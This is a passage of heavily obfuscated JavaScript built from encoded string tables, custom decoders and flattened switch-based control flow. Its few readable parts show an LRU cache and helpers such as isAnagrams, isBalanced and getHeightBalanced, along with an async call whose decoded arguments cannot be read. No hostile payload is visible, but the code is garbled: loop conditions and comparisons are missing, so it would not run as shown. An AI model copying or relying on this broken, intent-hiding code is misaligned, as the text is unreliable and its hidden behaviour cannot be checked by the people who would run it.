3sl6HQ[Cj_I_N[0x13]]+Cj_I_N[0x3]]+Cj_I_N[0x3]);x3sl6HQ[Cj_I_N[0x4]]+=x3sl6HQ[-Cj_I_N[0x228]][x3sl6HQ[Cj_I_N[0x13]]]}return x3sl6HQ[Cj_I_N[0x4]]}),BBg00x(eF1xnU(Cj_I_N[0x241])).log(x3sl6HQ[Cj_I_N[0x1e]]))}return BBg00x(eF1xnU(Cj_I_N[0x242]))(x3sl6HQ[Cj_I_N[0x1]],NHEajH)}))}function begJuT6(){\"use strict\";OVsfzw(x3sl6HQ);function NHEajH(NHEajH){var x3sl6HQ=\"\\x25\\x3d\\x7a\\x60\\x34\\x5b\\x24\\x43\\x46\\x4b\\x7b\\x31\\x48\\x49\\x6a\\x78\\x50\\x77\\x40\\x4a\\x67\\x79\\x76\\x44\\x59\\x6b\\x45\\x41\\x74\\x23\\x4f\\x22\\x52\\x47\\x7e\\x6f\\x7d\\x42\\x36\\x2b\\x29\\x4c\\x58\\x73\\x5f\\x68\\x7c\\x71\\x75\\x3b\\x6c\\x5d\\x3a\\x3f\\x38\\x5a\\x57\\x32\\x5e\\x21\\x62\\x2c\\x65\\x35\\x37\\x66\\x3e\\x39\\x72\\x2f\\x30\\x4d\\x3c\\x70\\x4e\\x53\\x63\\x28\\x51\\x56\\x33\\x54\\x64\\x6d\\x6e\\x55\\x2a\\x26\\x69\\x61\\x2e\",pbtMmK,eF1xnU,CNKMODU,bUU4SPI,Y8ZoRlG,V3cZ5eT,vo5ybrc;PaHg91(pbtMmK=\"\"+(NHEajH||\"\"),eF1xnU=pbtMmK.length,CNKMODU=[],bUU4SPI=Cj_I_N[0x1],Y8ZoRlG=Cj_I_N[0x1],V3cZ5eT=-Cj_I_N[0x3]);for(vo5ybrc=Cj_I_N[0x1];vo5ybrcCj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(CNKMODU.push(bUU4SPI&Cj_I_N[0x17]),bUU4SPI>>=Cj_I_N[0xc],Y8ZoRlG-=Cj_I_N[0xc])}while(Y8ZoRlG>Cj_I_N[0x18]);V3cZ5eT=-Cj_I_N[0x3]}}if(V3cZ5eT>-Cj_I_N[0x3]){CNKMODU.push((bUU4SPI|V3cZ5eT<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0xe]].push(NHEajH[Cj_I_N[0x30]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x30]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0xb]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0xb]]>Cj_I_N[0x18]);NHEajH[-Cj_I_N[0x59]]=-Cj_I_N[0x3]}}if(NHEajH[-Cj_I_N[0x59]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0xe]].push((NHEajH[Cj_I_N[0x30]]|NHEajH[-Cj_I_N[0x59]]<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0x1e]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x16]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x16]]>Cj_I_N[0x18]);NHEajH[-Cj_I_N[0x118]]=-Cj_I_N[0x3]}}if(NHEajH[-Cj_I_N[0x118]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0x1e]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[-Cj_I_N[0x118]]<{PaHg91(NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x1],OVsfzw(eF1xnU),OVsfzw(x3sl6HQ));function x3sl6HQ(...NHEajH){PaHg91(NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3],NHEajH[Cj_I_N[0x38]]=\"\\u0036\\u0079\\u007d\\u0065\\u0034\\u003c\\u0025\\u003e\\u0042\\u0024\\u0035\\u0037\\u002b\\u003f\\u0038\\u002c\\u0064\\u0075\\u006b\\u0055\\u0051\\u0043\\u004a\\u0029\\u005d\\u0047\\u002f\\u0052\\u004e\\u0028\\u0023\\u0022\\u0057\\u0026\\u0072\\u0044\\u0045\\u0031\\u002e\\u0053\\u0067\\u0061\\u0076\\u006e\\u003d\\u0046\\u0033\\u006a\\u0074\\u0062\\u007c\\u0078\\u0032\\u005b\\u0030\\u005a\\u0060\\u0068\\u0021\\u006c\\u0077\\u0054\\u0048\\u0040\\u007e\\u005e\\u004c\\u0049\\u0041\\u0066\\u006f\\u002a\\u007b\\u0069\\u0070\\u0039\\u0063\\u005f\\u004d\\u007a\\u0071\\u004b\\u006d\\u004f\\u0056\\u003a\\u0059\\u0073\\u0050\\u0058\\u003b\",NHEajH[Cj_I_N[0x12]]=\"\"+(NHEajH[Cj_I_N[0x1]]||\"\"),NHEajH[Cj_I_N[0x2]]=NHEajH[Cj_I_N[0x12]].length,NHEajH[Cj_I_N[0x1e]]=[],NHEajH[-Cj_I_N[0x44]]=Cj_I_N[0x1],NHEajH[Cj_I_N[0x16]]=Cj_I_N[0x1],NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]);for(NHEajH[Cj_I_N[0x71]]=Cj_I_N[0x1];NHEajH[Cj_I_N[0x71]]Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0x1e]].push(NHEajH[-Cj_I_N[0x44]]&Cj_I_N[0x17]),NHEajH[-Cj_I_N[0x44]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x16]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x16]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x18]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0x1e]].push((NHEajH[-Cj_I_N[0x44]]|NHEajH[Cj_I_N[0x18]]<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0x1e]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[-Cj_I_N[0x7b]]-=Cj_I_N[0xc])}while(NHEajH[-Cj_I_N[0x7b]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x39]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x39]]>-Cj_I_N[0x3]){NHEajH[Cj_I_N[0x1e]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[Cj_I_N[0x39]]<{PaHg91(NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x1],OVsfzw(eF1xnU),OVsfzw(pbtMmK));function pbtMmK(...NHEajH){PaHg91(NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3],NHEajH[Cj_I_N[0xa]]=\"\\x78\\x37\\x3e\\x3f\\x7d\\x79\\x3a\\x3c\\x22\\x21\\x26\\x5e\\x7a\\x2c\\x7c\\x66\\x4c\\x4f\\x43\\x31\\x4e\\x5b\\x6e\\x5f\\x47\\x39\\x55\\x33\\x50\\x3b\\x32\\x44\\x56\\x73\\x40\\x49\\x57\\x77\\x2a\\x6d\\x4d\\x38\\x52\\x4a\\x63\\x58\\x71\\x61\\x62\\x2b\\x7b\\x46\\x6a\\x59\\x53\\x28\\x4b\\x30\\x60\\x54\\x48\\x2f\\x41\\x3d\\x5d\\x7e\\x74\\x51\\x75\\x34\\x6c\\x65\\x2e\\x24\\x69\\x29\\x36\\x64\\x45\\x72\\x76\\x5a\\x6b\\x68\\x42\\x25\\x23\\x35\\x67\\x6f\\x70\",NHEajH[Cj_I_N[0x12]]=\"\"+(NHEajH[Cj_I_N[0x1]]||\"\"),NHEajH[Cj_I_N[0x22]]=NHEajH[Cj_I_N[0x12]].length,NHEajH[-Cj_I_N[0x27b]]=[],NHEajH[Cj_I_N[0x15]]=Cj_I_N[0x1],NHEajH[Cj_I_N[0x69]]=Cj_I_N[0x1],NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]);for(NHEajH[Cj_I_N[0x79]]=Cj_I_N[0x1];NHEajH[Cj_I_N[0x79]]Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[-Cj_I_N[0x27b]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x69]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x69]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x18]]>-Cj_I_N[0x3]){NHEajH[-Cj_I_N[0x27b]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[Cj_I_N[0x18]]<y2jwy3.charCodeAt()).join(\"\");return vo5ybrc(pBBD3do)}static decode(vo5ybrc){const y2jwy3=vo5ybrc.toString();let pBBD3do=\"\";for(let NHEajH=Cj_I_N[0x1];NHEajHCj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(CNKMODU.push(bUU4SPI&Cj_I_N[0x17]),bUU4SPI>>=Cj_I_N[0xc],Y8ZoRlG-=Cj_I_N[0xc])}while(Y8ZoRlG>Cj_I_N[0x18]);V3cZ5eT=-Cj_I_N[0x3]}}if(V3cZ5eT>-Cj_I_N[0x3]){CNKMODU.push((bUU4SPI|V3cZ5eT<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(CNKMODU.push(bUU4SPI&Cj_I_N[0x17]),bUU4SPI>>=Cj_I_N[0xc],Y8ZoRlG-=Cj_I_N[0xc])}while(Y8ZoRlG>Cj_I_N[0x18]);V3cZ5eT=-Cj_I_N[0x3]}}if(V3cZ5eT>-Cj_I_N[0x3]){CNKMODU.push((bUU4SPI|V3cZ5eT<{const[x3sl6HQ,pbtMmK]=NHEajH[V3cZ5eT(Cj_I_N[0x292])](Cj_I_N[0x293]);CNKMODU[x3sl6HQ]=pbtMmK})}return CNKMODU}function y1SCBFQ(){\"use strict\";var[[vo5ybrc],y2jwy3]=arguments;return BBg00x(aO7tmu(Cj_I_N[0xc3]))[aO7tmu(Cj_I_N[0x294])+Cj_I_N[0x188]](vo5ybrc)[aO7tmu(Cj_I_N[0x295])](([vo5ybrc,y2jwy3])=>{if(aO7tmu(Cj_I_N[0x296])+Cj_I_N[0x435]in FEkO5Ur){pBBD3do()}function pBBD3do(...y2jwy3){var pBBD3do;PaHg91(y2jwy3[Cj_I_N[0x0]]=Cj_I_N[0x1],pBBD3do=OVsfzw(function(...y2jwy3){PaHg91(y2jwy3[Cj_I_N[0x0]]=Cj_I_N[0x3],this.capacity=y2jwy3[Cj_I_N[0x1]],this.length=Cj_I_N[0x1],this.map={},this.head=Cj_I_N[0x5],this.tail=Cj_I_N[0x5])}),pBBD3do.prototype.get=function(y2jwy3){var pBBD3do=this.map[y2jwy3];return pBBD3do?(this.remove(pBBD3do),this.insert(pBBD3do.key,pBBD3do.val),pBBD3do.val):-Cj_I_N[0x3]},pBBD3do.prototype.put=OVsfzw(function(...y2jwy3){PaHg91(y2jwy3[Cj_I_N[0x0]]=Cj_I_N[0x7],this.map[y2jwy3[Cj_I_N[0x1]]]?(this.remove(this.map[y2jwy3[Cj_I_N[0x1]]]),this.insert(y2jwy3[Cj_I_N[0x1]],y2jwy3[Cj_I_N[0x3]])):this.length===this.capacity?(this.remove(this.head),this.insert(y2jwy3[Cj_I_N[0x1]],y2jwy3[Cj_I_N[0x3]])):(this.insert(y2jwy3[Cj_I_N[0x1]],y2jwy3[Cj_I_N[0x3]]),this.length++))},Cj_I_N[0x7]),pBBD3do.prototype.remove=OVsfzw(function(...y2jwy3){PaHg91(y2jwy3[Cj_I_N[0x0]]=Cj_I_N[0x3],y2jwy3[Cj_I_N[0x3]]=y2jwy3[Cj_I_N[0x1]].prev,y2jwy3[Cj_I_N[0x12]]=y2jwy3[Cj_I_N[0x1]].next);if(y2jwy3[Cj_I_N[0x12]])y2jwy3[Cj_I_N[0x12]].prev=y2jwy3[Cj_I_N[0x3]];if(y2jwy3[Cj_I_N[0x3]])y2jwy3[Cj_I_N[0x3]].next=y2jwy3[Cj_I_N[0x12]];if(this.head===y2jwy3[Cj_I_N[0x1]])this.head=y2jwy3[Cj_I_N[0x12]];if(this.tail===y2jwy3[Cj_I_N[0x1]])this.tail=y2jwy3[Cj_I_N[0x3]];delete this.map[y2jwy3[Cj_I_N[0x1]].key]}),pBBD3do.prototype.insert=OVsfzw(function(...y2jwy3){PaHg91(y2jwy3[Cj_I_N[0x0]]=Cj_I_N[0x7],y2jwy3[Cj_I_N[0xa]]=new(BBg00x(aO7tmu(Cj_I_N[0x297])+Cj_I_N[0x188]))(y2jwy3[Cj_I_N[0x1]],y2jwy3[Cj_I_N[0x3]]),!this.tail?(this.tail=y2jwy3[Cj_I_N[0xa]],this.head=y2jwy3[Cj_I_N[0xa]]):(this.tail.next=y2jwy3[Cj_I_N[0xa]],y2jwy3[Cj_I_N[0xa]].prev=this.tail,this.tail=y2jwy3[Cj_I_N[0xa]]),this.map[y2jwy3[Cj_I_N[0x1]]]=y2jwy3[Cj_I_N[0xa]])},Cj_I_N[0x7]),BBg00x(aO7tmu(Cj_I_N[0x298])).log(pBBD3do))}return \"\"+vo5ybrc+Cj_I_N[0x293]+(typeof y2jwy3===aO7tmu(Cj_I_N[0x282])?BBg00x(aO7tmu(Cj_I_N[0x28a])+Cj_I_N[0x155])[aO7tmu(Cj_I_N[0x299])+aO7tmu(Cj_I_N[0x29a])](y2jwy3):y2jwy3)})[aO7tmu(Cj_I_N[0x274])](Cj_I_N[0x290])}function C5f_nS(){\"use strict\";PaHg91(OVsfzw(x3sl6HQ),OVsfzw(NHEajH));function NHEajH(...NHEajH){PaHg91(NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3],NHEajH[Cj_I_N[0x5a]]=\"\\u0040\\u003a\\u007e\\u005d\\u0031\\u003d\\u0032\\u007c\\u002c\\u003c\\u0028\\u0038\\u0079\\u0023\\u0034\\u0035\\u0036\\u002b\\u005b\\u0037\\u004e\\u0063\\u006f\\u0029\\u0072\\u0062\\u0049\\u0041\\u0078\\u007b\\u0024\\u0065\\u0042\\u0058\\u006c\\u0043\\u0033\\u003e\\u0044\\u004c\\u002a\\u0075\\u0025\\u006e\\u002f\\u0061\\u0055\\u004d\\u0067\\u0051\\u0070\\u0069\\u0073\\u007a\\u0045\\u0064\\u0060\\u006d\\u0046\\u0021\\u003b\\u0052\\u005a\\u004b\\u004a\\u0068\\u0071\\u006b\\u0039\\u0054\\u0053\\u005f\\u007d\\u003f\\u0059\\u0077\\u0026\\u005e\\u0030\\u0074\\u0022\\u0056\\u0066\\u006a\\u0047\\u0057\\u0076\\u0050\\u0048\\u002e\\u004f\",NHEajH[Cj_I_N[0x44]]=\"\"+(NHEajH[Cj_I_N[0x1]]||\"\"),NHEajH[Cj_I_N[0x2]]=NHEajH[Cj_I_N[0x44]].length,NHEajH[-Cj_I_N[0x8c]]=[],NHEajH[Cj_I_N[0x15]]=Cj_I_N[0x1],NHEajH[Cj_I_N[0x16]]=Cj_I_N[0x1],NHEajH[-Cj_I_N[0x33]]=-Cj_I_N[0x3]);for(NHEajH[Cj_I_N[0xc]]=Cj_I_N[0x1];NHEajH[Cj_I_N[0xc]]Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[-Cj_I_N[0x8c]].push(NHEajH[Cj_I_N[0x15]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[0x15]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x16]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x16]]>Cj_I_N[0x18]);NHEajH[-Cj_I_N[0x33]]=-Cj_I_N[0x3]}}if(NHEajH[-Cj_I_N[0x33]]>-Cj_I_N[0x3]){NHEajH[-Cj_I_N[0x8c]].push((NHEajH[Cj_I_N[0x15]]|NHEajH[-Cj_I_N[0x33]]<NHEajH.charCodeAt()).join(\"\");return x3sl6HQ(pbtMmK)}static decode(NHEajH){const x3sl6HQ=NHEajH.toString();let pbtMmK=\"\";for(let eF1xnU=Cj_I_N[0x1];eF1xnUCj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[Cj_I_N[0x235]].push(NHEajH[Cj_I_N[0x62]]&Cj_I_N[pbtMmK+0x45]),NHEajH[Cj_I_N[eF1xnU+-0x47]]>>=Cj_I_N[eF1xnU+-0x9d],NHEajH[Cj_I_N[0x16]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x16]]>Cj_I_N[eF1xnU+-0x91]);NHEajH[Cj_I_N[eF1xnU+-0x70]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[0x39]]>-Cj_I_N[0x3]){PaHg91(bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,CNKMODU+=-0x7a);break}else{PaHg91(bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=-0x1ca,CNKMODU+=0x192);break}default:case CNKMODU-0x86:PaHg91(bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=-0x95,eF1xnU+=0x196,CNKMODU+=-0x16f);break;case-0x2e:case 0xde:PaHg91(NHEajH[Cj_I_N[0x62]]=Cj_I_N[0x1],NHEajH[Cj_I_N[pbtMmK+0x27]]=Cj_I_N[0x1],NHEajH[Cj_I_N[pbtMmK+0x4a]]=-Cj_I_N[0x3],bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=-0x1d);break;case CNKMODU-0x14f:return x3sl6HQ=!0x0,s2QB7wt(NHEajH[Cj_I_N[0x235]]);case CNKMODU- -0xf4:PaHg91(NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3],NHEajH[Cj_I_N[eF1xnU+-0x14]]=\"\\x7d\\x41\\x75\\x76\\x3d\\x29\\x2c\\x63\\x46\\x36\\x79\\x52\\x66\\x70\\x60\\x6f\\x73\\x3a\\x57\\x5a\\x4b\\x4f\\x2e\\x77\\x59\\x26\\x61\\x6a\\x74\\x24\\x2b\\x5b\\x7e\\x51\\x3c\\x33\\x38\\x6e\\x28\\x2f\\x3f\\x65\\x5d\\x4e\\x44\\x72\\x58\\x42\\x2a\\x53\\x5e\\x62\\x45\\x39\\x64\\x30\\x7c\\x6b\\x43\\x7a\\x6c\\x3e\\x25\\x71\\x31\\x50\\x6d\\x67\\x48\\x32\\x34\\x7b\\x4a\\x21\\x22\\x4d\\x78\\x54\\x37\\x40\\x35\\x47\\x55\\x23\\x69\\x56\\x49\\x5f\\x68\\x3b\\x4c\",bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=-0x111,eF1xnU+=0x36,CNKMODU+=-0x86);break;case-0x35:case 0xa0:case-0x28:PaHg91(bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=0x9b,eF1xnU+=0xf6,CNKMODU+=-0x221);break;case pbtMmK-0x72:PaHg91(NHEajH[Cj_I_N[eF1xnU+-0x4d]]=\"\"+(NHEajH[Cj_I_N[0x1]]||\"\"),NHEajH[Cj_I_N[pbtMmK+0xcf]]=NHEajH[Cj_I_N[pbtMmK+0x42]].length,NHEajH[Cj_I_N[0x235]]=[],bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=0x2a,eF1xnU+=0x55);break;case-0x3c:case 0x18:case 0xd4:PaHg91(bUU4SPI.A9lssVZ.icQ0O16=-0xb9,NHEajH[Cj_I_N[0x0]]=Cj_I_N[eF1xnU+0xdc],NHEajH[Cj_I_N[0xa]]=\"\\x7d\\x41\\x75\\x76\\x3d\\x29\\x2c\\x63\\x46\\x36\\x79\\x52\\x66\\x70\\x60\\x6f\\x73\\x3a\\x57\\x5a\\x4b\\x4f\\x2e\\x77\\x59\\x26\\x61\\x6a\\x74\\x24\\x2b\\x5b\\x7e\\x51\\x3c\\x33\\x38\\x6e\\x28\\x2f\\x3f\\x65\\x5d\\x4e\\x44\\x72\\x58\\x42\\x2a\\x53\\x5e\\x62\\x45\\x39\\x64\\x30\\x7c\\x6b\\x43\\x7a\\x6c\\x3e\\x25\\x71\\x31\\x50\\x6d\\x67\\x48\\x32\\x34\\x7b\\x4a\\x21\\x22\\x4d\\x78\\x54\\x37\\x40\\x35\\x47\\x55\\x23\\x69\\x56\\x49\\x5f\\x68\\x3b\\x4c\",bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,pbtMmK+=-0x73,eF1xnU+=0x12d,CNKMODU+=-0x23b);break;case 0x19:case-0xc8:case pbtMmK- -0x129:PaHg91(bUU4SPI.m4utjfN=bUU4SPI.A9lssVZ,eF1xnU+=0x86,CNKMODU+=-0x11b);break;case bUU4SPI.A9lssVZ.icQ0O16+-0xc:PaHg91(NHEajH[Cj_I_N[0x235]].push((NHEajH[Cj_I_N[0x62]]|NHEajH[Cj_I_N[0x39]]<Cj_I_N[CNKMODU+-0xf4]){PaHg91(Y8ZoRlG.mUACNEx=Y8ZoRlG.aVtMgqN,x3sl6HQ+=0x187,CNKMODU+=-0x1b1,bUU4SPI+=-0x67);break}else{PaHg91(Y8ZoRlG.mUACNEx=Y8ZoRlG.aVtMgqN,x3sl6HQ+=0x187,eF1xnU+=0x60,CNKMODU+=-0x13e,bUU4SPI+=-0xff);break}case-0x4a:case-0x16:PaHg91(Y8ZoRlG.aVtMgqN.MLdNn7=(0x1,Y8ZoRlG.RZiLlB2.l_LeMF0)(PSKlPx[Cj_I_N[CNKMODU+-0x8f]].left),Y8ZoRlG.aVtMgqN.CVSNUpU=(0x1,Y8ZoRlG.RZiLlB2.l_LeMF0)(PSKlPx[Cj_I_N[x3sl6HQ+0xb0]].right),Y8ZoRlG.mUACNEx=Y8ZoRlG.aVtMgqN,CNKMODU+=0x67,bUU4SPI+=0xc1);break;case bUU4SPI- -0x10b:case-0xab:return Cj_I_N[0x193];case CNKMODU-0x9f:PaHg91([...CYhEg9a.nhgO7p]=V3cZ5eT,CYhEg9a.nhgO7p[Cj_I_N[0x0]]=Cj_I_N[CNKMODU+0x50],CYhEg9a.Bs1wM4=BBg00x(aO7tmu(Cj_I_N[eF1xnU+0x328]))(CYhEg9a.nhgO7p[Cj_I_N[eF1xnU+0x7a]]),CYhEg9a.aPjRFxb=BBg00x(aO7tmu(Cj_I_N[eF1xnU+0x328]))(CYhEg9a.nhgO7p[Cj_I_N[x3sl6HQ+-0x14f]]),Y8ZoRlG.mUACNEx=Y8ZoRlG.CYhEg9a,x3sl6HQ+=-0x249,eF1xnU+=0x3e7);break;case 0x2e:case-0x47:case Y8ZoRlG.RZiLlB2.q05bwf+-0xdb:PaHg91([...aVtMgqN.PSKlPx]=V3cZ5eT,aVtMgqN.PSKlPx[Cj_I_N[0x0]]=Cj_I_N[0x3]);if(!aVtMgqN.PSKlPx[Cj_I_N[0x1]]){PaHg91(Y8ZoRlG.mUACNEx=Y8ZoRlG.aVtMgqN,x3sl6HQ+=0x61);break}else{PaHg91(Y8ZoRlG.mUACNEx=Y8ZoRlG.aVtMgqN,x3sl6HQ+=-0x6a,eF1xnU+=0xc,CNKMODU+=0xb7);break}case-0x98:for(let iREyT3 in Bs1wM4)if(Bs1wM4[iREyT3]!==aPjRFxb[iREyT3]){return Cj_I_N[0xec]}if(BBg00x(aO7tmu(Cj_I_N[0xc3])).keys(Bs1wM4).length!==BBg00x(aO7tmu(Cj_I_N[eF1xnU+0x31])).keys(aPjRFxb).length){PaHg91(Y8ZoRlG.mUACNEx=Y8ZoRlG.CYhEg9a,x3sl6HQ+=-0x352,eF1xnU+=0x2dc,CNKMODU+=-0x59,bUU4SPI+=0x85);break}else{PaHg91(Y8ZoRlG.mUACNEx=Y8ZoRlG.CYhEg9a,x3sl6HQ+=0x39,eF1xnU+=-0x3a,CNKMODU+=-0x59,bUU4SPI+=0x85);break}case 0x42:return;case CNKMODU-0xaa:PaHg91([Y8ZoRlG.RZiLlB2.AO7WQS0,Y8ZoRlG.RZiLlB2.q05bwf,Y8ZoRlG.RZiLlB2.__ItdwX]=[-0xec,0x38,0xb8],RZiLlB2.l_LeMF0=function(...x3sl6HQ){return pbtMmK(-0x45,-0x1a,-0x27,-0x1d,{RZiLlB2:Y8ZoRlG.RZiLlB2,aVtMgqN:{}},x3sl6HQ).next().value},RZiLlB2.dHFOxv=function(...x3sl6HQ){return pbtMmK(0xfc,0x58,0x16,-0x231,{RZiLlB2:Y8ZoRlG.RZiLlB2,Rtqx2b:{}},x3sl6HQ).next().value},RZiLlB2.ylxNmG=function(...x3sl6HQ){return pbtMmK(0x152,-0x79,-0x49,-0x178,{RZiLlB2:Y8ZoRlG.RZiLlB2,CYhEg9a:{}},x3sl6HQ).next().value},RZiLlB2.Is6xwgG=function(...x3sl6HQ){return pbtMmK(-0x9b,0xba,-0xfa,0x9f,{RZiLlB2:Y8ZoRlG.RZiLlB2,V5L_1V:{}},x3sl6HQ).next().value},OVsfzw(RZiLlB2.l_LeMF0),OVsfzw(RZiLlB2.dHFOxv),OVsfzw(RZiLlB2.ylxNmG,Cj_I_N[0x7]));return NHEajH=!0x0,BBg00x(aO7tmu(Cj_I_N[0x2b0]))[aO7tmu(Cj_I_N[0x2b1])]={buildCharacterMap:RZiLlB2.Is6xwgG,isAnagrams:RZiLlB2.ylxNmG,isBalanced:RZiLlB2.dHFOxv,getHeightBalanced:RZiLlB2.l_LeMF0}}}PaHg91(NHEajH=void 0x0,x3sl6HQ=pbtMmK(0x16,-0xc,0xab,-0xb4).next().value);if(NHEajH){return x3sl6HQ}}let iREyT3=await NHEajH[aO7tmu(Cj_I_N[0x2b2])+Cj_I_N[0xbc]](),pbtMmK={[aO7tmu(Cj_I_N[0x2a0])]:aO7tmu(Cj_I_N[0x2a1]),[aO7tmu(Cj_I_N[0x2a2])]:iREyT3+(aO7tmu(Cj_I_N[0x2b3])+aO7tmu(Cj_I_N[0x2b4])+aO7tmu(Cj_I_N[0x2b5])),[aO7tmu(Cj_I_N[0x2a6])+Cj_I_N[0x188]]:{[Y8ZoRlG(Cj_I_N[0x2b6])+Y8ZoRlG(Cj_I_N[0x2b7])]:NHEajH[Y8ZoRlG(Cj_I_N[0x2b8])]}},{[Y8ZoRlG(Cj_I_N[0x2b9])]:eF1xnU}=await NHEajH[Y8ZoRlG(Cj_I_N[0x2ba])][Y8ZoRlG(Cj_I_N[0x2bb])+Cj_I_N[0x2ad]](pbtMmK);return eF1xnU}}async function UOA0kF([],NHEajH,x3sl6HQ,pbtMmK){if(!pbtMmK){pbtMmK=function(...NHEajH){NHEajH[Cj_I_N[0x0]]=Cj_I_N[0x3];if(typeof y2jwy3[NHEajH[Cj_I_N[0x1]]]===vo5ybrc(Cj_I_N[0x1])){return y2jwy3[NHEajH[Cj_I_N[0x1]]]=x3sl6HQ(pBBD3do[NHEajH[Cj_I_N[0x1]]])}return y2jwy3[NHEajH[Cj_I_N[0x1]]]}}if(!x3sl6HQ){x3sl6HQ=function(NHEajH){var x3sl6HQ,pbtMmK;function*eF1xnU(pbtMmK,eF1xnU,CNKMODU={DwHkvI_:{}}){while(pbtMmK+eF1xnU!==-0xea)with(CNKMODU.N_JBCB||CNKMODU)switch(pbtMmK+eF1xnU){case-0x8a:case-0x58:case pbtMmK!=0x97&&pbtMmK-0xe4:PaHg91(qiwArz.push((CHBTK0|ZgyPlJE<Cj_I_N[0x1c]?Cj_I_N[pbtMmK+-0x7e]:Cj_I_N[0x1a]);do{PaHg91(qiwArz.push(CHBTK0&Cj_I_N[0x17]),CHBTK0>>=Cj_I_N[pbtMmK+-0x8b],zbjvWJ-=Cj_I_N[pbtMmK+-0x8b])}while(zbjvWJ>Cj_I_N[pbtMmK+-0x7f]);ZgyPlJE=-Cj_I_N[pbtMmK+-0x94]}}if(ZgyPlJE>-Cj_I_N[0x3]){PaHg91(CNKMODU.N_JBCB=CNKMODU.DwHkvI_,pbtMmK+=-0xac);break}else{PaHg91(CNKMODU.N_JBCB=CNKMODU.DwHkvI_,pbtMmK+=-0xe2,eF1xnU+=0x186);break}case pbtMmK!=0xb3&&pbtMmK- -0x10:PaHg91(qiwArz.push((CHBTK0|ZgyPlJE<Cj_I_N[0x1c]?Cj_I_N[0x19]:Cj_I_N[0x1a]);do{PaHg91(NHEajH[-Cj_I_N[0x59]].push(NHEajH[Cj_I_N[pbtMmK+0x149]]&Cj_I_N[0x17]),NHEajH[Cj_I_N[pbtMmK+0x149]]>>=Cj_I_N[0xc],NHEajH[Cj_I_N[0x16]]-=Cj_I_N[0xc])}while(NHEajH[Cj_I_N[0x16]]>Cj_I_N[0x18]);NHEajH[Cj_I_N[0x18]]=-Cj_I_N[0x3]}}if(NHEajH[Cj_I_N[pbtMmK+0x14c]]>-Cj_I_N[0x3]){PaHg91(CNKMODU.q3lZ3T=CNKMODU.zFuCXxz,pbtMmK+=0x5e,eF1xnU+=-0xf4);break}else{PaHg91(CNKMODU.q3lZ3T=CNKMODU.zFuCXxz,pbtMmK+=0x91,eF1xnU+=-0xf4);break}case 